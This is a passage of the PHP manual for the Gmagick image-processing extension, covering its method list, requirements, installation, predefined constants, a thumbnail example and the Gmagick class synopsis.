    • Gmagick::getimagescene — Gets the image scene
    • Gmagick::getimagesignature — Generates an SHA-256 message digest
    • Gmagick::getimagetype — Gets the potential image type.
    • Gmagick::getimageunits — Gets the image units of resolution
    • Gmagick::getimagewhitepoint — Returns the chromaticity white point
    • Gmagick::getimagewidth — Returns the width of the image
    • Gmagick::getpackagename — Returns the GraphicsMagick package name.
    • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.
    • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.
    • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.
    • Gmagick::getsize — Returns the size associated with the Gmagick object
    • Gmagick::getversion — Returns the GraphicsMagick API version
    • Gmagick::hasnextimage — Checks if the object has more images
    • Gmagick::haspreviousimage — Checks if the object has a previous image
    • Gmagick::implodeimage — Creates a new image as a copy
    • Gmagick::labelimage — Adds a label to an image.
    • Gmagick::levelimage — Adjusts the levels of an image
    • Gmagick::magnifyimage — Scales an image proportionally 2x
    • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.
    • Gmagick::medianfilterimage — Applies a digital filter
    • Gmagick::minifyimage — Scales an image proportionally to half its size
    • Gmagick::modulateimage — Control the brightness, saturation, and hue
    • Gmagick::motionblurimage — Simulates motion blur
    • Gmagick::newimage — Creates a new image
    • Gmagick::nextimage — Moves to the next image
    • Gmagick::normalizeimage — Enhances the contrast of a color image
    • Gmagick::oilpaintimage — Simulates an oil painting
    • Gmagick::previousimage — Move to the previous image in the object
    • Gmagick::profileimage — Adds or removes a profile from an image
    • Gmagick::quantizeimage — Analyzes the colors within a reference image
    • Gmagick::quantizeimages — The quantizeimages purpose
    • Gmagick::queryfontmetrics — Returns an array representing the font metrics
    • Gmagick::queryfonts — Returns the configured fonts
    • Gmagick::queryformats — Returns formats supported by Gmagick.
    • Gmagick::radialblurimage — Radial blurs an image
    • Gmagick::raiseimage — Creates a simulated 3d button-like effect
    • Gmagick::read — Reads image from filename
    • Gmagick::readimage — Reads image from filename
    • Gmagick::readimageblob — Reads image from a binary string
    • Gmagick::readimagefile — The readimagefile purpose
    • Gmagick::reducenoiseimage — Smooths the contours of an image
    • Gmagick::removeimage — Removes an image from the image list
    • Gmagick::removeimageprofile — Removes the named image profile and returns it
    • Gmagick::resampleimage — Resample image to desired resolution
    • Gmagick::resizeimage — Scales an image
    • Gmagick::rollimage — Offsets an image
    • Gmagick::rotateimage — Rotates an image
    • Gmagick::scaleimage — Scales the size of an image
    • Gmagick::separateimagechannel — Separates a channel from the image
    • Gmagick::setfilename — Sets the filename before you read or write the image
    • Gmagick::setimagebackgroundcolor — Sets the image background color.
    • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.
    • Gmagick::setimagebordercolor — Sets the image border color.
    • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
    • Gmagick::setimagecolorspace — Sets the image colorspace
    • Gmagick::setimagecompose — Sets the image composite operator
    • Gmagick::setimagedelay — Sets the image delay
    • Gmagick::setimagedepth — Sets the image depth
    • Gmagick::setimagedispose — Sets the image disposal method
    • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
    • Gmagick::setimageformat — Sets the format of a particular image
    • Gmagick::setimagegamma — Sets the image gamma
    • Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.
    • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
    • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.
    • Gmagick::setimageiterations — Sets the image iterations.
    • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
    • Gmagick::setimageredprimary — Sets the image chromaticity red primary point.
    • Gmagick::setimagerenderingintent — Sets the image rendering intent
    • Gmagick::setimageresolution — Sets the image resolution
    • Gmagick::setimagescene — Sets the image scene
    • Gmagick::setimagetype — Sets the image type
    • Gmagick::setimageunits — Sets the image units of resolution.
    • Gmagick::setimagewhitepoint — Sets the image chromaticity white point.
    • Gmagick::setsamplingfactors — Sets the image sampling factors.
    • Gmagick::setsize — Sets the size of the Gmagick object
    • Gmagick::shearimage — Creating a parallelogram
    • Gmagick::solarizeimage — Applies a solarizing effect to the image
    • Gmagick::spreadimage — Randomly displaces each pixel in a block
    • Gmagick::stripimage — Strips an image of all profiles and comments
    • Gmagick::swirlimage — Swirls the pixels about the center of the image
    • Gmagick::thumbnailimage — Changes the size of an image
    • Gmagick::trimimage — Remove edges from the image
    • Gmagick::write — Writes an image to the specified filename
    • Gmagick::writeimage — Writes an image to the specified filename
  • GmagickDraw — The GmagickDraw class
    • GmagickDraw::annotate — Draws text on the image
    • GmagickDraw::arc — Draws an arc
    • GmagickDraw::bezier — Draws a bezier curve
    • GmagickDraw::ellipse — Draws an ellipse on the image
    • GmagickDraw::getfillcolor — Returns the fill color
    • GmagickDraw::getfillopacity — Returns the opacity used when drawing
    • GmagickDraw::getfont — Returns the font
    • GmagickDraw::getfontsize — Returns the font pointsize
    • GmagickDraw::getfontstyle — Returns the font style
    • GmagickDraw::getfontweight — Returns the font weight
    • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
    • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
    • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
    • GmagickDraw::gettextdecoration — Returns the text decoration
    • GmagickDraw::gettextencoding — Returns the code set used for text annotations
    • GmagickDraw::line — The line purpose
    • GmagickDraw::point — Draws a point
    • GmagickDraw::polygon — Draws a polygon
    • GmagickDraw::polyline — Draws a polyline
    • GmagickDraw::rectangle — Draws a rectangle
    • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • GmagickDraw::roundrectangle — Draws a rounded rectangle
    • GmagickDraw::scale — Adjusts the scaling factor
    • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.
    • GmagickDraw::setfillopacity — The setfillopacity purpose
    • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.
    • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.
    • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
    • GmagickDraw::setfontweight — Sets the font weight
    • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.
    • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.
    • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.
    • GmagickDraw::settextdecoration — Specifies a decoration
    • GmagickDraw::settextencoding — Specifies the text code set
  • GmagickPixel — The GmagickPixel class
    • GmagickPixel::__construct — The GmagickPixel constructor
    • GmagickPixel::getcolor — Returns the color
    • GmagickPixel::getcolorcount — Returns the color count associated with this color
    • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
    • GmagickPixel::setcolor — Sets the color
    • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Gmagick is a php extension to create, modify and obtain meta information of images using the GraphicsMagick API.

GraphicsMagick prides itself as the swiss army knife of image processing. It works with over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.

Gmagick consists of a main Gmagick class, a GmagickDraw class which is in effect a drawing wand and a GmagickPixel class of which instances represent a single pixel of an image (color, opacity).

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension works best with GraphicsMagick version 1.4+ and PHP 5.1.3+. Gmagick should work with earlier versions up to GraphicsMagick 1.2.6 but some features and formats are not supported for these versions. Windows version of GraphicsMagick is available from the GraphicsMagick website. To read about the difference between ImageMagick and GraphicsMagick, check this out: » FAQ .

User Contributed Notes

maksimko 10-Apr-2013 11:54
1.4+ is a mistype, I suppose. According to http://sourceforge.net/p/graphicsmagick/code/ci/tip/tree/ they don't even have 1.4 branch. The latest release is 1.3.18


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gmagick.

Note: The official name of this extension is gmagick.

For Windows, the build of the Gmagick extension is available » here

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Colortype constants
Gmagick::COLOR_BLACK (integer)
Black
Gmagick::COLOR_BLUE (integer)
Blue
Gmagick::COLOR_CYAN (integer)
Cyan
Gmagick::COLOR_GREEN (integer)
Green
Gmagick::COLOR_RED (integer)
Red
Gmagick::COLOR_YELLOW (integer)
Yellow
Gmagick::COLOR_MAGENTA (integer)
Magenta
Gmagick::COLOR_OPACITY (integer)
Opacity
Gmagick::COLOR_ALPHA (integer)
Alpha
Gmagick::COLOR_FUZZ (integer)
Fuzz
Composite Operator Constants
Gmagick::COMPOSITE_DEFAULT (integer)
The default composite operator
Gmagick::COMPOSITE_UNDEFINED (integer)
Undefined composite operator
Gmagick::COMPOSITE_NO (integer)
No composite operator defined
Gmagick::COMPOSITE_ADD (integer)
The result of image + image
Gmagick::COMPOSITE_ATOP (integer)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
Gmagick::COMPOSITE_BLEND (integer)
Blends the image
Gmagick::COMPOSITE_BUMPMAP (integer)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
Gmagick::COMPOSITE_CLEAR (integer)
Makes the target image transparent
Gmagick::COMPOSITE_COLORBURN (integer)
Darkens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORDODGE (integer)
Brightens the destination image to reflect the source image
Gmagick::COMPOSITE_COLORIZE (integer)
Colorizes the target image using the composite image
Gmagick::COMPOSITE_COPYBLACK (integer)
Copies black from the source to target
Gmagick::COMPOSITE_COPYBLUE (integer)
Copies blue from the source to target
Gmagick::COMPOSITE_COPY (integer)
Copies the source image on the target image
Gmagick::COMPOSITE_COPYCYAN (integer)
Copies cyan from the source to target
Gmagick::COMPOSITE_COPYGREEN (integer)
Copies green from the source to target
Gmagick::COMPOSITE_COPYMAGENTA (integer)
Copies magenta from the source to target
Gmagick::COMPOSITE_COPYOPACITY (integer)
Copies opacity from the source to target
Gmagick::COMPOSITE_COPYRED (integer)
Copies red from the source to target
Gmagick::COMPOSITE_COPYYELLOW (integer)
Copies yellow from the source to target
Gmagick::COMPOSITE_DARKEN (integer)
Darkens the target image
Gmagick::COMPOSITE_DSTATOP (integer)
The part of the destination lying inside of the source is composited over the source and replaces the destination
Gmagick::COMPOSITE_DST (integer)
The target is left untouched
Gmagick::COMPOSITE_DSTIN (integer)
The parts inside the source replace the target
Gmagick::COMPOSITE_DSTOUT (integer)
The parts outside the source replace the target
Gmagick::COMPOSITE_DSTOVER (integer)
Target replaces the source
Gmagick::COMPOSITE_DIFFERENCE (integer)
Subtracts the darker of the two constituent colors from the lighter
Gmagick::COMPOSITE_DISPLACE (integer)
Shifts target image pixels as defined by the source
Gmagick::COMPOSITE_DISSOLVE (integer)
Dissolves the source in to the target
Gmagick::COMPOSITE_EXCLUSION (integer)
Produces an effect similar to that of Gmagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
Gmagick::COMPOSITE_HARDLIGHT (integer)
Multiplies or screens the colors, dependent on the source color value
Gmagick::COMPOSITE_HUE (integer)
Modifies the hue of the target as defined by source
Gmagick::COMPOSITE_IN (integer)
Composites source into the target
Gmagick::COMPOSITE_LIGHTEN (integer)
Lightens the target as defined by source
Gmagick::COMPOSITE_LUMINIZE (integer)
Luminizes the target as defined by source
Gmagick::COMPOSITE_MINUS (integer)
Subtracts the source from the target
Gmagick::COMPOSITE_MODULATE (integer)
Modulates the target brightness, saturation and hue as defined by source
Gmagick::COMPOSITE_MULTIPLY (integer)
Multiplies the target to the source
Gmagick::COMPOSITE_OUT (integer)
Composites outer parts of the source on the target
Gmagick::COMPOSITE_OVER (integer)
Composites source over the target
Gmagick::COMPOSITE_OVERLAY (integer)
Overlays the source on the target
Gmagick::COMPOSITE_PLUS (integer)
Adds the source to the target
Gmagick::COMPOSITE_REPLACE (integer)
Replaces the target with the source
Gmagick::COMPOSITE_SATURATE (integer)
Saturates the target as defined by the source
Gmagick::COMPOSITE_SCREEN (integer)
The source and destination are complemented and then multiplied and then replace the destination
Gmagick::COMPOSITE_SOFTLIGHT (integer)
Darkens or lightens the colors, dependent on the source
Gmagick::COMPOSITE_SRCATOP (integer)
The part of the source lying inside of the destination is composited onto the destination
Gmagick::COMPOSITE_SRC (integer)
The source is copied to the destination
Gmagick::COMPOSITE_SRCIN (integer)
The part of the source lying inside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOUT (integer)
The part of the source lying outside of the destination replaces the destination
Gmagick::COMPOSITE_SRCOVER (integer)
The source replaces the destination
Gmagick::COMPOSITE_SUBTRACT (integer)
Subtract the colors in the source image from the destination image
Gmagick::COMPOSITE_THRESHOLD (integer)
The source is composited on the target as defined by source threshold
Gmagick::COMPOSITE_XOR (integer)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
Montage Mode constants
Gmagick::MONTAGEMODE_FRAME (integer)
Gmagick::MONTAGEMODE_UNFRAME (integer)
Gmagick::MONTAGEMODE_CONCATENATE (integer)
Style constants
Gmagick::STYLE_NORMAL (integer)
Gmagick::STYLE_ITALIC (integer)
Gmagick::STYLE_OBLIQUE (integer)
Gmagick::STYLE_ANY (integer)
Filter constants
Gmagick::FILTER_UNDEFINED (integer)
Gmagick::FILTER_POINT (integer)
Gmagick::FILTER_BOX (integer)
Gmagick::FILTER_TRIANGLE (integer)
Gmagick::FILTER_HERMITE (integer)
Gmagick::FILTER_HANNING (integer)
Gmagick::FILTER_HAMMING (integer)
Gmagick::FILTER_BLACKMAN (integer)
Gmagick::FILTER_GAUSSIAN (integer)
Gmagick::FILTER_QUADRATIC (integer)
Gmagick::FILTER_CUBIC (integer)
Gmagick::FILTER_CATROM (integer)
Gmagick::FILTER_MITCHELL (integer)
Gmagick::FILTER_LANCZOS (integer)
Gmagick::FILTER_BESSEL (integer)
Gmagick::FILTER_SINC (integer)
Image type constants
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)
Resolution constants
Gmagick::RESOLUTION_UNDEFINED (integer)
Gmagick::RESOLUTION_PIXELSPERINCH (integer)
Gmagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
Compression constants
Gmagick::COMPRESSION_UNDEFINED (integer)
Gmagick::COMPRESSION_NO (integer)
Gmagick::COMPRESSION_BZIP (integer)
Gmagick::COMPRESSION_FAX (integer)
Gmagick::COMPRESSION_GROUP4 (integer)
Gmagick::COMPRESSION_JPEG (integer)
Gmagick::COMPRESSION_JPEG2000 (integer)
Gmagick::COMPRESSION_LOSSLESSJPEG (integer)
Gmagick::COMPRESSION_LZW (integer)
Gmagick::COMPRESSION_RLE (integer)
Gmagick::COMPRESSION_ZIP (integer)
Paint constants
Gmagick::PAINT_POINT (integer)
Gmagick::PAINT_REPLACE (integer)
Gmagick::PAINT_FLOODFILL (integer)
Gmagick::PAINT_FILLTOBORDER (integer)
Gmagick::PAINT_RESET (integer)
Gravity constants
Gmagick::GRAVITY_NORTHWEST (integer)
Gmagick::GRAVITY_NORTH (integer)
Gmagick::GRAVITY_NORTHEAST (integer)
Gmagick::GRAVITY_WEST (integer)
Gmagick::GRAVITY_CENTER (integer)
Gmagick::GRAVITY_EAST (integer)
Gmagick::GRAVITY_SOUTHWEST (integer)
Gmagick::GRAVITY_SOUTH (integer)
Gmagick::GRAVITY_SOUTHEAST (integer)
Stretch constants
Gmagick::STRETCH_NORMAL (integer)
Gmagick::STRETCH_ULTRACONDENSED (integer)
Gmagick::STRETCH_CONDENSED (integer)
Gmagick::STRETCH_SEMICONDENSED (integer)
Gmagick::STRETCH_SEMIEXPANDED (integer)
Gmagick::STRETCH_EXPANDED (integer)
Gmagick::STRETCH_EXTRAEXPANDED (integer)
Gmagick::STRETCH_ULTRAEXPANDED (integer)
Gmagick::STRETCH_ANY (integer)
Align constants
Gmagick::ALIGN_UNDEFINED (integer)
Gmagick::ALIGN_LEFT (integer)
Gmagick::ALIGN_CENTER (integer)
Gmagick::ALIGN_RIGHT (integer)
Decoration constants
Gmagick::DECORATION_NO (integer)
Gmagick::DECORATION_UNDERLINE (integer)
Gmagick::DECORATION_OVERLINE (integer)
Gmagick::DECORATION_LINETROUGH (integer)
Noise constants
Gmagick::NOISE_UNIFORM (integer)
Gmagick::NOISE_GAUSSIAN (integer)
Gmagick::NOISE_MULTIPLICATIVEGAUSSIAN (integer)
Gmagick::NOISE_IMPULSE (integer)
Gmagick::NOISE_LAPLACIAN (integer)
Gmagick::NOISE_POISSON (integer)
Channel constants
Gmagick::CHANNEL_UNDEFINED (integer)
Gmagick::CHANNEL_RED (integer)
Gmagick::CHANNEL_GRAY (integer)
Gmagick::CHANNEL_CYAN (integer)
Gmagick::CHANNEL_GREEN (integer)
Gmagick::CHANNEL_MAGENTA (integer)
Gmagick::CHANNEL_BLUE (integer)
Gmagick::CHANNEL_YELLOW (integer)
Gmagick::CHANNEL_ALPHA (integer)
Gmagick::CHANNEL_OPACITY (integer)
Gmagick::CHANNEL_MATTE (integer)
Gmagick::CHANNEL_BLACK (integer)
Gmagick::CHANNEL_INDEX (integer)
Gmagick::CHANNEL_ALL (integer)
Metric constants
Gmagick::METRIC_UNDEFINED (integer)
Gmagick::METRIC_MEANABSOLUTEERROR (integer)
Gmagick::METRIC_MEANSQUAREERROR (integer)
Gmagick::METRIC_PEAKABSOLUTEERROR (integer)
Gmagick::METRIC_PEAKSIGNALTONOISERATIO (integer)
Gmagick::METRIC_ROOTMEANSQUAREDERROR (integer)
Pixel constants
Gmagick::PIXEL_CHAR (integer)
Gmagick::PIXEL_DOUBLE (integer)
Gmagick::PIXEL_FLOAT (integer)
Gmagick::PIXEL_INTEGER (integer)
Gmagick::PIXEL_LONG (integer)
Gmagick::PIXEL_QUANTUM (integer)
Gmagick::PIXEL_SHORT (integer)
Colorspace constants
Gmagick::COLORSPACE_UNDEFINED (integer)
Gmagick::COLORSPACE_RGB (integer)
Gmagick::COLORSPACE_GRAY (integer)
Gmagick::COLORSPACE_TRANSPARENT (integer)
Gmagick::COLORSPACE_OHTA (integer)
Gmagick::COLORSPACE_LAB (integer)
Gmagick::COLORSPACE_XYZ (integer)
Gmagick::COLORSPACE_YCBCR (integer)
Gmagick::COLORSPACE_YCC (integer)
Gmagick::COLORSPACE_YIQ (integer)
Gmagick::COLORSPACE_YPBPR (integer)
Gmagick::COLORSPACE_YUV (integer)
Gmagick::COLORSPACE_CMYK (integer)
Gmagick::COLORSPACE_SRGB (integer)
Gmagick::COLORSPACE_HSB (integer)
Gmagick::COLORSPACE_HSL (integer)
Gmagick::COLORSPACE_HWB (integer)
Gmagick::COLORSPACE_REC601LUMA (integer)
Gmagick::COLORSPACE_REC709LUMA (integer)
Gmagick::COLORSPACE_LOG (integer)
Virtual Pixel Method constants
Gmagick::VIRTUALPIXELMETHOD_UNDEFINED (integer)
Gmagick::VIRTUALPIXELMETHOD_BACKGROUND (integer)
Gmagick::VIRTUALPIXELMETHOD_CONSTANT (integer)
Gmagick::VIRTUALPIXELMETHOD_EDGE (integer)
Gmagick::VIRTUALPIXELMETHOD_MIRROR (integer)
Gmagick::VIRTUALPIXELMETHOD_TILE (integer)
Gmagick::VIRTUALPIXELMETHOD_TRANSPARENT (integer)
Preview constants
Gmagick::PREVIEW_UNDEFINED (integer)
Gmagick::PREVIEW_ROTATE (integer)
Gmagick::PREVIEW_SHEAR (integer)
Gmagick::PREVIEW_ROLL (integer)
Gmagick::PREVIEW_HUE (integer)
Gmagick::PREVIEW_SATURATION (integer)
Gmagick::PREVIEW_BRIGHTNESS (integer)
Gmagick::PREVIEW_GAMMA (integer)
Gmagick::PREVIEW_SPIFF (integer)
Gmagick::PREVIEW_DULL (integer)
Gmagick::PREVIEW_GRAYSCALE (integer)
Gmagick::PREVIEW_QUANTIZE (integer)
Gmagick::PREVIEW_DESPECKLE (integer)
Gmagick::PREVIEW_REDUCENOISE (integer)
Gmagick::PREVIEW_ADDNOISE (integer)
Gmagick::PREVIEW_SHARPEN (integer)
Gmagick::PREVIEW_BLUR (integer)
Gmagick::PREVIEW_THRESHOLD (integer)
Gmagick::PREVIEW_EDGEDETECT (integer)
Gmagick::PREVIEW_SPREAD (integer)
Gmagick::PREVIEW_SOLARIZE (integer)
Gmagick::PREVIEW_SHADE (integer)
Gmagick::PREVIEW_RAISE (integer)
Gmagick::PREVIEW_SEGMENT (integer)
Gmagick::PREVIEW_SWIRL (integer)
Gmagick::PREVIEW_IMPLODE (integer)
Gmagick::PREVIEW_WAVE (integer)
Gmagick::PREVIEW_OILPAINT (integer)
Gmagick::PREVIEW_CHARCOALDRAWING (integer)
Gmagick::PREVIEW_JPEG (integer)
Rendering Intent constants
Gmagick::RENDERINGINTENT_UNDEFINED (integer)
Gmagick::RENDERINGINTENT_SATURATION (integer)
Gmagick::RENDERINGINTENT_PERCEPTUAL (integer)
Gmagick::RENDERINGINTENT_ABSOLUTE (integer)
Gmagick::RENDERINGINTENT_RELATIVE (integer)
Fillrule constants
Gmagick::FILLRULE_UNDEFINED (integer)
Gmagick::FILLRULE_EVENODD (integer)
Gmagick::FILLRULE_NONZERO (integer)
Pathunit constants
Gmagick::PATHUNITS_UNDEFINED (integer)
Gmagick::PATHUNITS_USERSPACE (integer)
Gmagick::PATHUNITS_USERSPACEONUSE (integer)
Gmagick::PATHUNITS_OBJECTBOUNDINGBOX (integer)
Linecap constants
Gmagick::LINECAP_UNDEFINED (integer)
Gmagick::LINECAP_BUTT (integer)
Gmagick::LINECAP_ROUND (integer)
Gmagick::LINECAP_SQUARE (integer)
Line Join constants
Gmagick::LINEJOIN_UNDEFINED (integer)
Gmagick::LINEJOIN_MITER (integer)
Gmagick::LINEJOIN_ROUND (integer)
Gmagick::LINEJOIN_BEVEL (integer)
Resourcetype constants
Gmagick::RESOURCETYPE_UNDEFINED (integer)
Gmagick::RESOURCETYPE_AREA (integer)
Gmagick::RESOURCETYPE_DISK (integer)
Gmagick::RESOURCETYPE_FILE (integer)
Gmagick::RESOURCETYPE_MAP (integer)
Gmagick::RESOURCETYPE_MEMORY (integer)
Orientation constants
Gmagick::ORIENTATION_UNDEFINED (integer)
Gmagick::ORIENTATION_TOPLEFT (integer)
Gmagick::ORIENTATION_TOPRIGHT (integer)
Gmagick::ORIENTATION_BOTTOMRIGHT (integer)
Gmagick::ORIENTATION_BOTTOMLEFT (integer)
Gmagick::ORIENTATION_LEFTTOP (integer)
Gmagick::ORIENTATION_RIGHTTOP (integer)
Gmagick::ORIENTATION_RIGHTBOTTOM (integer)
Gmagick::ORIENTATION_LEFTBOTTOM (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

The following shows some common Gmagick image operations.

Example #1 Gmagick Example

<?php
//Instantiate a new Gmagick object
$image = new Gmagick('example.jpg');

//Make thumbnail from image loaded. 0 for either axes preserves aspect ratio
$image->thumbnailImage(100, 0);

//Create a border around the image, then simulate how the image will look like as an oil painting
//Notice the chaining of mutator methods which is supported in gmagick
$image->borderImage("yellow", 8, 8)->oilPaintImage(0.3);

//Write the current image at the current state to a file
$image->write('example_thumbnail.jpg');
?>

User Contributed Notes

There are no user contributed notes for this page.


The Gmagick class

(PECL gmagick >= Unknown)

Introduction

Class synopsis

Gmagick {
/* Methods */
public Gmagick addimage ( Gmagick $Gmagick )
public Gmagick addnoiseimage ( int $NOISE )
public Gmagick annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text )
public Gmagick blurimage ( float $radius , float $sigma [, int $channel ] )
public Gmagick borderimage ( GmagickPixel $color , int $width , int $height )
public Gmagick charcoalimage ( float $radius , float $sigma )
public Gmagick chopimage ( int $width , int $height , int $x , int $y )
public Gmagick clear ( void )
public Gmagick commentimage ( string $comment )
public Gmagick compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y )
public __construct ([ string $filename ] )
public Gmagick cropimage ( int $width , int $height , int $x , int $y )
public Gmagick cropthumbnailimage ( int $width , int $height )
public Gmagick current ( void )
public Gmagick cyclecolormapimage ( int $displace )
public void deconstructimages ( void )
public Gmagick despeckleimage ( void )
public Gmagick destroy ( void )
public Gmagick drawimage ( GmagickDraw $GmagickDraw )
public Gmagick edgeimage ( float $radius )
public Gmagick embossimage ( float $radius , float $sigma )
public Gmagick enhanceimage ( void )
public Gmagick equalizeimage ( void )
public Gmagick flipimage ( void )
public Gmagick flopimage ( void )
public Gmagick frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel )
public Gmagick gammaimage ( float $gamma )
public string getcopyright ( void )
public string getfilename ( void )
public void getimagebackgroundcolor ( void )
public array getimageblueprimary ( void )
public void getimagebordercolor ( void )
public int getimagechanneldepth ( int $channel_type )
public int getimagecolors ( void )
public int getimagecolorspace ( void )
public int getimagecompose ( void )
public int getimagedelay ( void )
public int getimagedepth ( void )
public int getimagedispose ( void )
public array getimageextrema ( void )
public string getimagefilename ( void )
public string getimageformat ( void )
public float getimagegamma ( void )
public array getimagegreenprimary ( void )
public int getimageheight ( void )
public array getimagehistogram ( void )
public int getimageindex ( void )
public int getimageinterlacescheme ( void )
public int getimageiterations ( void )
public int getimagematte ( void )
public void getimagemattecolor ( void )
public string getimageprofile ( string $name )
public array getimageredprimary ( void )
public int getimagerenderingintent ( void )
public array getimageresolution ( void )
public int getimagescene ( void )
public string getimagesignature ( void )
public int getimagetype ( void )
public int getimageunits ( void )
public array getimagewhitepoint ( void )
public int getimagewidth ( void )
public string getpackagename ( void )
public array getquantumdepth ( void )
public string getreleasedate ( void )
public array getsamplingfactors ( void )
public array getsize ( void )
public array getversion ( void )
public mixed hasnextimage ( void )
public mixed haspreviousimage ( void )
public mixed implodeimage ( float $radius )
public mixed labelimage ( string $label )
public mixed levelimage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Gmagick::CHANNEL_DEFAULT ] )
public mixed magnifyimage ( void )
public Gmagick mapimage ( gmagick $gmagick , bool $dither )
public void medianfilterimage ( float $radius )
public void minifyimage ( void )
public void modulateimage ( float $brightness , float $saturation , float $hue )
public void motionblurimage ( float $radius , float $sigma , float $angle )
public void newimage ( int $width , int $height , string $background [, string $format ] )
public bool nextimage ( void )
public void normalizeimage ([ int $channel ] )
public void oilpaintimage ( float $radius )
public bool previousimage ( void )
public void profileimage ( string $name , string $profile )
public void quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )
public void quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError )
public array queryfontmetrics ( GmagickDraw $draw , string $text )
public array queryfonts ([ string $pattern = "*" ] )
public array queryformats ([ string $pattern = "*" ] )
public void radialblurimage ( float $angle [, int $channel = Gmagick::CHANNEL_DEFAULT ] )
public void raiseimage ( int $width , int $height , int $x , int $y , bool $raise )
public void read ( string $filename )
public void readimage ( string $filename )
public void readimageblob ( string $imageContents [, string $filename ] )
public void readimagefile ( resource $fp [, string $filename ] )
public void reducenoiseimage ( float $radius )
public void removeimage ( void )
public string removeimageprofile ( string $name )
public void resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur )
public void resizeimage ( int $width , int $height , int $filter , float $blur [, bool $fit = false ] )
public void rollimage ( int $x , int $y )
public Gmagick rotateimage ( mixed $color , float $degrees )
public Gmagick scaleimage ( int $width , int $height [, bool $fit = false ] )
public Gmagick separateimagechannel ( int $channel )
public Gmagick setfilename ( string $filename )
public Gmagick setimagebackgroundcolor ( GmagickPixel $color )
public Gmagick setimageblueprimary ( float $x , float $y )
public Gmagick setimagebordercolor ( GmagickPixel $color )
public Gmagick setimagechanneldepth ( int $channel , int $depth )
public Gmagick setimagecolorspace ( int $colorspace )
public Gmagick setimagecompose ( int $composite )
public Gmagick setimagedelay ( int $delay )
public Gmagick setimagedepth ( int $depth )
public Gmagick setimagedispose ( int $disposeType )
public Gmagick setimagefilename ( string $filename )
public Gmagick setimageformat ( string $imageFormat )
public Gmagick setimagegamma ( float $gamma )
public Gmagick setimagegreenprimary ( float $x , float $y )
public Gmagick setimageindex ( int $index )
public Gmagick setimageinterlacescheme ( int $interlace )
public Gmagick setimageiterations ( int $iterations )
public Gmagick setimageprofile ( string $name , string $profile )
public Gmagick setimageredprimary ( float $x , float $y )
public Gmagick setimagerenderingintent ( int $rendering_intent )
public Gmagick setimageresolution ( float $xResolution , float $yResolution )
public Gmagick setimagescene ( int $scene )
public Gmagick setimagetype ( int $imgType )
public Gmagick setimageunits ( int $resolution )
public Gmagick setimagewhitepoint ( float $x , float $y )
public Gmagick setsamplingfactors ( array $factors )
public Gmagick setsize ( int $columns , int $rows )
public Gmagick shearimage ( mixed $color , float $xShear , float $yShear )
public Gmagick solarizeimage ( int $threshold )
public Gmagick spreadimage ( float $radius )
public Gmagick stripimage ( void )
public Gmagick swirlimage ( float $degrees )
public Gmagick thumbnailimage ( int $width , int $height [, bool $fit = false ] )
public Gmagick trimimage ( float $fuzz )
public void write ( string $filename )
public Gmagick writeimage ( string $filename [, bool $all_frames = false ] )
}

Table of Contents

  • Gmagick::addimage — Adds new image to Gmagick object image list
  • Gmagick::addnoiseimage — Adds random noise to the image
  • Gmagick::annotateimage — Annotates an image with text
  • Gmagick::blurimage — Adds blur filter to image
